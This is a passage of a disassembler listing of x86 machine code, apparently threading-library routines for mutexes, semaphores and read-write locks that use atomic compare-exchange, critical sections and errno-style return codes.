		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	loc_432A95
		push	edi
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432A95
		cmp	esi, 0FFFFFFF1h
		jle	short loc_432A30
		cmp	esi, 0FFFFFFFEh
		jge	short loc_432A30
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_432A42
; ---------------------------------------------------------------------------


loc_432A30:				; CODE XREF: sub_4329F0+2Fj
					; sub_4329F0+34j
		cmp	esi, 0Fh
		jge	short loc_432A42
		cmp	esi, 2
		jle	short loc_432A42
		mov	[esp+8+arg_8], 2


loc_432A42:				; CODE XREF: sub_4329F0+3Ej
					; sub_4329F0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_432A8E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		call	near ptr 27406F6h
		nop
		test	eax, eax
		jnz	short loc_432A82
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A82:				; CODE XREF: sub_4329F0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_432A8E:				; CODE XREF: sub_4329F0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A95:				; CODE XREF: sub_4329F0+19j
					; sub_4329F0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4329F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AD0	proc near		; CODE XREF: sub_40218Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_432B09
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_432B04
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_432B04
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432B04:				; CODE XREF: sub_432AD0+1Bj
					; sub_432AD0+23j
		mov	eax, 16h


loc_432B09:				; CODE XREF: sub_432AD0+12j
		pop	esi
		retn
sub_432AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B20	proc near		; CODE XREF: sub_401438j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B33
		cmp	eax, 2
		jg	short loc_432B33
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_432B33:				; CODE XREF: sub_432B20+6j
					; sub_432B20+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B60	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B73
		cmp	eax, 2
		jg	short loc_432B73
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_432B73:				; CODE XREF: sub_432B60+6j
					; sub_432B60+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432BA0:				; CODE XREF: ___:00401AC8j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432BE5
		nop
		call	near ptr 274069Ch
		cmp	esi, eax
		jz	short loc_432BE5
		push	esi
		push	0
		push	200h
		call	near ptr 27809BDh
		nop
		test	eax, eax
		jnz	short loc_432BE5
		call	near ptr 27B07FFh
		nop
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BE5:				; CODE XREF: ___:00432BA7j
					; ___:00432BB1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432BFE
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BFE:				; CODE XREF: ___:00432BEBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432C30:				; CODE XREF: ___:0040150Aj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432C75
		nop
		call	near ptr 274069Ch
		cmp	esi, eax
		jz	short loc_432C75
		push	esi
		push	0
		push	400h
		nop
		call	near ptr 27809BDh
		test	eax, eax
		jnz	short loc_432C75
		call	near ptr 27B07FFh
		nop
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432C75:				; CODE XREF: ___:00432C37j
					; ___:00432C41j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432CA0:				; CODE XREF: ___:00401B4Aj
		push	0
		call	near ptr 2830000h
		nop
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432CC0	proc near		; CODE XREF: sub_401C76j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_432CDF
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432CDF:				; CODE XREF: sub_432CC0+Aj
		push	4
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432CF7
		mov	edi, 0Ch


loc_432CF7:				; CODE XREF: sub_432CC0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		nop
		call	near ptr 2740000h
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_432D24
		mov	edi, 1Ch
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D24:				; CODE XREF: sub_432CC0+4Fj
		test	edi, edi
		jz	short loc_432D36
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D36:				; CODE XREF: sub_432CC0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_432CC0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432D80	proc near		; CODE XREF: sub_401686j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_432DA5
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_432DA5
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		call	near ptr 28308B0h
		nop
		test	eax, eax
		jnz	short loc_432DB7
		mov	[edi], esi


loc_432DA5:				; CODE XREF: sub_432D80+8j
					; sub_432D80+Ej
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432DB7:				; CODE XREF: sub_432D80+21j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_432D80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DF0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		push	0
		push	eax
		nop
		call	near ptr 27703BFh
		cmp	eax, 102h
		jnz	short loc_432E35
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E23:				; CODE XREF: sub_432DF0+7j
					; sub_432DF0+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E35:				; CODE XREF: sub_432DF0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_432DF0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E60	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0C436E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432E8D:				; CODE XREF: sub_432E60+7j
					; sub_432E60+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_432E60	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401898j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_432EF3
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432EF3:				; CODE XREF: sub_432ED0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_432F02
		or	ebx, 0FFFFFFFFh
		jmp	short loc_432F61
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_432F61
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_432F61
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_432F61
		dec	ebx


loc_432F61:				; CODE XREF: sub_432ED0+30j
					; sub_432ED0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D70
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 0C33EE890h, 3089777Eh, 0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_432FE0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		nop
		call	near ptr 2730DD6h
		test	eax, eax
		jnz	short loc_43300F


loc_432FFF:				; CODE XREF: sub_432FE0+6j
					; sub_432FE0+Cj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_43300F:				; CODE XREF: sub_432FE0+1Dj
		xor	eax, eax
		retn
sub_432FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433030	proc near		; CODE XREF: sub_40204Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_433056
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_433056
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_433056
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		nop
		call	near ptr 2730DD6h
		test	eax, eax
		jnz	short loc_433066


loc_433056:				; CODE XREF: sub_433030+6j
					; sub_433030+Cj ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_433066:				; CODE XREF: sub_433030+24j
		xor	eax, eax
		retn
sub_433030	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433080:				; CODE XREF: ___:00401433j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4330CD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4330CD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4330CD
		mov	eax, [esi]
		push	0
		push	eax
		call	near ptr 27703BFh
		nop
		cmp	eax, 102h
		jnz	short loc_4330B1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330B1:				; CODE XREF: ___:004330A8j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		nop
		call	near ptr 2730DD6h
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330CD:				; CODE XREF: ___:00433088j
					; ___:0043308Ej ...
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433100:				; CODE XREF: ___:0040220Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433120:				; CODE XREF: ___:00402013j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433140:				; CODE XREF: ___:00401CB2j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433160	proc near		; CODE XREF: sub_401992j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E960
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433194
		push	esi
		push	ecx
		call	sub_4021EE
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433194:				; CODE XREF: sub_433160+17j
		test	eax, eax
		jnz	short loc_43319D
		mov	esi, 16h


loc_43319D:				; CODE XREF: sub_433160+36j
		push	offset dword_50E960
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_433160	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4331D0	proc near		; CODE XREF: sub_4021EEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4331EE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4331EE:				; CODE XREF: sub_4331D0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C26
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_433229
		mov	[esp+14h+var_4], 1


loc_43320B:				; CODE XREF: sub_4331D0+5Ej
					; sub_4331D0+63j
		push	8
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433240
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433229:				; CODE XREF: sub_4331D0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_43320B
		cmp	ebx, 1
		jnz	short loc_43320B
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: sub_4331D0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43325D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: sub_4331D0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A0F
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433293
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_433293
		mov	dword ptr [esi], 3


loc_433293:				; CODE XREF: sub_4331D0+9Ej
					; sub_4331D0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_4332AF
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4332AF:				; CODE XREF: sub_4331D0+D2j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4331D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433310:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4333B5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4333B5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_433378
		cmp	dword ptr [esi], 3
		jnz	short loc_43335D
		lea	eax, [esi+4]
		push	eax
		call	sub_40222F
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4333AF


loc_433347:				; CODE XREF: ___:0043336Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43335D:				; CODE XREF: ___:00433333j
		push	1
		push	0
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_433347
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433378:				; CODE XREF: ___:0043332Ej
		push	offset dword_50E960
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43339F
		push	offset dword_50E960
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43339F:				; CODE XREF: ___:00433386j
		push	offset dword_50E960
		mov	ebx, 10h
		nop
		call	near ptr 7C9010EDh


loc_4333AF:				; CODE XREF: ___:00433345j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4333B5:				; CODE XREF: ___:0043331Bj
					; ___:00433325j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333F0:				; CODE XREF: ___:004021C1j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433451
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433451
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433411
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433456


loc_433411:				; CODE XREF: ___:00433402j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_433433


loc_433423:				; CODE XREF: ___:00433431j
		push	1
		push	2
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_433423


loc_433433:				; CODE XREF: ___:00433421j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43343E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43343E:				; CODE XREF: ___:00433438j
		cmp	eax, 3
		jnz	short loc_433451
		add	esi, 4
		push	esi
		call	sub_402225
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433451:				; CODE XREF: ___:004333F7j
					; ___:004333FDj ...
		mov	eax, 16h


loc_433456:				; CODE XREF: ___:0043340Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433480:				; CODE XREF: ___:00401AA5j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4334C1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4334C1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43349B


loc_433494:				; CODE XREF: ___:004334A7j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43349B:				; CODE XREF: ___:00433492j
		push	2
		push	1
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_433494
		dec	eax
		jz	short loc_4334BD
		dec	eax
		jnz	short loc_4334C1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334BD:				; CODE XREF: ___:004334AAj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334C1:				; CODE XREF: ___:00433487j
					; ___:0043348Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:00401933j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433540
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433511
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433545


loc_433511:				; CODE XREF: ___:00433502j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43353C
		dec	eax
		jz	short loc_433535
		dec	eax
		jnz	short loc_433540
		add	esi, 4
		push	esi
		call	sub_40177B
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433535:				; CODE XREF: ___:00433522j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43353C:				; CODE XREF: ___:0043351Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433540:				; CODE XREF: ___:004334F7j
					; ___:004334FDj ...
		mov	eax, 16h


loc_433545:				; CODE XREF: ___:0043350Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433570:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43359C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_433597
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433597:				; CODE XREF: ___:0043358Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43359C:				; CODE XREF: ___:00433582j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4335B0	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43363C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4335D4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335D4:				; CODE XREF: sub_4335B0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_4335ED
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335ED:				; CODE XREF: sub_4335B0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4335FD
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335FD:				; CODE XREF: sub_4335B0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 2FD46BE8h, 0C0859002h, 0E8560E74h, 0FFFCE181h, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43363C:				; CODE XREF: sub_4335B0+12j
		pop	esi
		retn
sub_4335B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433670	proc near		; CODE XREF: sub_4015FFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433695
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


